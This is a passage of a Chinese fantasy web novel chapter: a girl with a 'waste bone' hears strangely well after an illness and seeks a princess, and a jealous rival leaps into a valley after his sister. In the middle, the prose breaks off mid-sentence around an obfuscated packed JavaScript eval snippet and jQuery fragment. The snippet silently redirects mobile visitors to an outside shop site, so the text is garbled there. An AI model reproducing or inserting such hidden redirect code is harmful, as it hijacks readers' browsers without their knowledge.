这夜,虞杳是和虞邈一块睡的。
蜷缩在同一张床上,额头相抵,牢牢握紧彼此的手。亲密得仿佛他们从出生起,关系就一直如此要好。
那些因为天赋、差距、敏感、倔强而带来的隔阂和芥蒂,仿佛都从来没有发生过一样。
然而虞杳这一觉却睡得并不踏实,在一个又一个光怪陆离的梦境中跌宕。
一会是前世她被推倒,脑袋撞上石阶的那一幕,她双眼瞪大,鲜血流淌,死不瞑目;一会是刚来到这个世界,还安详地蜷曲在母亲温暖的子宫中;一会画面一转,又回到那个森黑寂静的夜晚,一个面容模糊的男人掐着她的脖子……
幼时眼角膜没长好,噩梦中男子的脸永远只有轮廓,可今夜不同,当她睁开眼时,她第一次在梦境中看清了虞鸣的脸。
天,骤然亮了。
虞邈比她早醒,正用一只手正抵在她额头,担忧地问:“生病了?”
虞杳感觉身体有点沉重,侧躺在床上一副病怏怏、有气无力的模样。
虞邈便道:“那你在家休息,我先帮你请假。”顿了顿,还惦记着昨夜的事,“弃学的事,等你好了,我们去和父亲说好吗?”
虞鸣这些年明面上还是一个好父亲的形象,虞杳凭自己通过考试,坚持上学,他虽然惊讶但并未出面制止。
因为他认为虞杳迟早会知难而退。天生废骨就是天生废骨,无法修炼是谁也改变不了的事实。
但真到了这一天,主动弃学该走的流程也不能少,至少需要告知家中长辈,由长辈向国修院确认并消除学籍。
虞杳迟疑地抿了抿唇,虞邈便有些紧张道:“你昨天答应我的。”
半晌,虞杳才点了点头,喂他吃了颗定心丸,
虞邈松口气,见她精力不济,就道:“那我先走了。”
虞杳拉住他衣袖:“你也受伤了,要不要也请假一天?”
虞邈摇头:“小伤而已,不影响我修炼。”
如此,虞杳便渐渐松开了他。虞邈走前,又不放心地回头看她苍白的脸色,再三叮嘱:“等医师来了,你要好好吃药,不要嫌苦就偷偷倒掉,我会让下人给你准备蜜果子。”
他这副周全的模样,倒真有一派好哥哥的作风。但他偏偏才只有九岁大,惹得虞杳忍俊不禁,一阵弯眼咯咯笑。
虞邈皱眉:“你笑什么?”
虞杳说:“你明明和我一样大,干嘛说话总老气横秋的?”
尽管虞邈从三岁开始,就自诩自己是哥哥,对虞杳管上管下的。但虞杳却一直把她当弟弟看待。只不过这个弟弟从五岁之后,就性格越来越傲气和嘴毒了。
虞邈却认真道:“我比你大。”
虞杳:“只是先出生了几分钟的功夫。”
别人听不懂几分钟,但虞邈能。虞杳解释过,大概就是喝杯茶的时间。
虞邈道:“就算只有一秒钟,也是大。”
说完这话,他就急着走,“不和你浪费时间了。”
昨日硬撑着没及时处理小腿被虎爪抓伤的伤口,靠自己忍得若无其事,但现在虞杳已经发现了,他也没必要再掩藏的必要。
于是这小少年取下书箱和木剑,一瘸一拐地独自上学去了。
房间只剩下虞杳一人后,她才一个仰卧坐起,低头握握拳,叹了口气。
果然,还是不甘心弃学啊……
而且。虞杳抬起头,将目光投向窗外。昨半夜好像下了细雨,今早起来,她似乎就能闻到一股窗外而来的雨腥味,比往日似乎要更为明显一些。
檐角挂着一排水珠,最先滴落的那一粒溅在窗台上。
“啪嗒——”往日绝对听不见的声音,此刻回荡在耳边。
虞杳先是错愕,再继续仔细听,又是一声清晰的“啪嗒”声,仿佛那滴水就滴在耳边一般。
虞杳惊奇了下。发生什么事了?
身体依然沉重,她摸了摸额头,猜测是不是生病发生了异变?譬如前夜在荆幽谷被某不知名蚊子咬了一口,导致了基因突变?
还是说……对了。
虞杳想到了在荆幽谷遇见的少女和少年,会不会是那个叫观天少年的回神丹的缘故?他好像是个很厉害的医师?
难道……
虞邈心中突然迸发出一隙希望,但紧接而来的是,她不知道该如何再和那两人相见?
去荆幽谷吗?不,那个鬼地方她是脑子被驴踢了才会再去一次。倒是……
虞杳急忙下了床,跑去找徐应月。
-
王妃的寝殿内,美妇倚于小榻,抱着一把秋月琵琶,妙手十指纤纤,一经拨弄,发出的音色如秋夜月光般澄澈。
徐应月不自觉吟唱了起来。
她的声音极为温若春水,极为动听悦耳。虞杳小的时候最爱的,便是躺在摇篮床上那段时日,徐应月会时不时来给她和虞邈哼小曲儿。
因此当虞杳匆匆来时,一时不忍心出声打断她。
但徐应月已经看见她了,美妙的歌声戛然而止,她朝她招手:“杳杳?”
虞杳这才慢慢走过去,先是好奇闲聊,打量着她怀里的琵琶:“母亲,这琵琶好像从前没见过?”
徐应月含笑:“嗯呢,你父亲刚才让人送来的,名为秋月,据说造价不菲呢。”
徐应月原本是歌女出身,本身也是凡骨无法修炼,因此对各类乐器都极为感兴趣,虞鸣与她夫妻多年也算琴瑟和鸣,相敬如宾。
本以为色衰爱弛,但这么多年,两人孩子都半大了,虞鸣对她的宠爱也没有减少半分,甚至还是会时不时搜罗一些名贵乐器送给她。
而昨夜她因为虞鸣罚跪虞邈的事,多少有些伤心,心中不忿,在虞鸣面前小小抱怨了几句。今日一早,虞鸣就令人送来了这把秋月琵琶。
可见他还是想哄她欢心的。徐应月如此想着。
然而虞杳看着母亲幸福的面庞,却只是眼皮跳了跳。
若她不知道虞鸣的真面目,也许也会觉得父母恩爱是一件好事。可她偏偏知道,所以这种事在她眼里多少变了味。
父母相爱不相爱另说,且就论徐应月在这个家中根本没有话语权来看,虞鸣的行为更像是在宠爱一只金丝雀。
但虞杳没吭声,不想破坏母亲的好心情。
徐应月便问她:“杳杳是有什么事吗?听阿邈来人说,你今日身体不适给你请了假?
虞杳说明来意:“母亲,你知道宫里的那位苍兰小公主吗?”
徐应月没料到她会没头没尾地问这个,讶异道:“问这做什么?”
虞杳道:“嗯……就是想起来了,乳娘说,我小时候进宫,被小公主当成弟弟亲了一口,是真的吗?”
徐应月噗嗤一笑:“你父亲从前也说过这事,是真的。”
虞杳道:“那我能再见见她吗?”
小孩子思维跳跃,徐应月虽然不理解她,但还是耐心解释:“这恐怕很难呢。你如果想见她,需要你父亲先向王后求见,王后允许后,才会被允许外人见小公主。”
“不过东方皇室的公主自知事起,就极少被允许见外人。”
虞杳疑惑地看着她。这个时代的女子并没有太严重的封建制度,一切等级都是建立在武力之上。所以也没有姑娘大门不出二门的规矩。
如果是公主的话,她一个亲王的女儿也不至于见一面都难吧?
电视上的公主和郡主,都能玩到一块的啊?
徐应月想了想,才压低声道:“因为东方皇室有明文规定,东方家的公主在成年择婿之前,绝对不能见任何外男。”
“为什么?”
徐应月理所应当道:“为了防止公主爱上不该爱的人啊。”
虞杳觉得奇怪,还要再问,徐应月就道:“好了,你还是小孩子,和你说这么多你也不懂。你不是身体不舒服吗?难道杳杳也会装病偷懒?”
虞杳索性闭上嘴,改口道:“想听母亲弹琴。”
徐应月便将她抱上小榻,给
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17836913|211472||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
她弹了首温柔的《月儿弯》。虞杳闷闷趴在一旁,却是烦恼着该怎么再见小公主一面。
那样不似凡人的美貌和气质,除了东方家族的小公主,她也想不出这世上还有谁能够媲美了。
而且直觉告诉她,那就是东方苍兰。只有见到她,她才能见到那位名叫观天的小少年,或许就能解开她身体异样的谜题了。
说不定,她因此可以不用弃学了……
虞杳在曲声中闭上眼睛。荆幽谷,荆幽谷……
-
国修院,楼乔生昨夜被父亲训斥后,今日一整日都神思不属,课堂上出了好几次小差,还被授课的师长逮了个正着,被留下来罚抄一百零八条院规。
而王韩也不知是不是因为新发型地中海的缘故,今日也没来上课。
待到楼乔生将院规抄完,走出甲院时,才发现少了点什么。
往日他不论走到哪做什么,都有楼葭那个跟屁虫跟着,今日她怎么不在?以她的性格,若临时有事不可能不提前知会他……
几乎是下一刻,他的心底陡然生出一股不妙的预感。脑海中立刻浮现出虞邈的那张脸,以及前日他说的话。
——她要是出事了,你,也别想好过。
虞邈的报复吗?可即便他素来也瞧不上楼葭这个庶妹,但也代表他能容忍旁人伤害自己的妹妹。
楼乔生的脸阴沉了一瞬,直接运功去了平幽院。
平幽院建在幽山的半山腰,是国修院废弃的旧址,鲜少有人来。而从平幽院眺望而下的地方,便是位于荆棘山和幽山之间的荆幽谷。
前日他便是如此吩咐楼葭:“虞杳不会法术,感知力又差,你从背后偷袭直接打晕她,将她从平幽院上丢下去,是死是活无所谓,虞邈都会上钩。”
而今日,以彼之道还施彼身。同样的手段被用在了他身上。
荒凉的阁楼上,果然站着一道和他身量差不多的小少年,正迎着山风,朝下眺望。他的身边,空无一人。
楼乔生眸光闪了闪,几乎可以肯定,楼葭已经被他丢进了荆幽谷。
虞邈转过身来时,楼乔生竟难得没有露出笑容。
虞邈没有和他动手的打算,只这般冷漠地盯着他,却令楼乔生倍感羞辱。
因为摆在他面前只有两个选择。
一,和虞邈一样跳下去,找妹妹,找不找得到另说,即便找到了,也会如同虞邈那样憋屈,得不到国修院公正的处置;二,像个窝囊废一样,装作什么也没发生,若无其事地离开这里。至少自己不用遭任何罪。
无论哪一个,都让精于算计、不肯吃亏的楼乔生难以接受。
慢慢地,对方眼中露出讥讽和轻蔑,像看透了他的自私和凉薄,令楼乔生都有些难堪到无地自容。
两人的交锋只在一段简短的对视中。虞邈甚至没有说一句话,就从他身边越过离开,仿佛笃定了他不会管楼葭的死活。
风呼呼往衣领里灌,楼乔生来到栏杆旁,风朽的栏杆一碰就摇摇欲坠。
是天才就该被人嫉恨。五岁以前,父亲总夸他悟性过人,他也时常为自己的天赋沾沾自喜。
和他同岁的王韩,天赋不错却是个脑子不灵光的。父亲便说,如果没有意外,有家族的帮衬,有和王家的合作,下一任帝王怎么也该是他的。
国师说的话,根本当不得真。
他也这样以为。这种隐秘的欢喜和优越感,在虞邈三岁那年被测出天剑骨后便被碾压成了个粉碎。
更何况在国修院中,虞邈一来就夺走了所有风光,所有人都在他的光环下黯然失色。
天注定他就是要如此出彩似的。可是,凭什么呢?
祖祖辈辈靠着打拼积攒的家族实力,只为托举下一代。凭什么到了他这一代,就要出一个天才呢?
天才又能如何,不一样被他算计。
既然他虞邈都能从荆幽谷平安归来,他楼乔生又哪点不能?
楼乔生攥紧了手心,从阁楼一跃而下。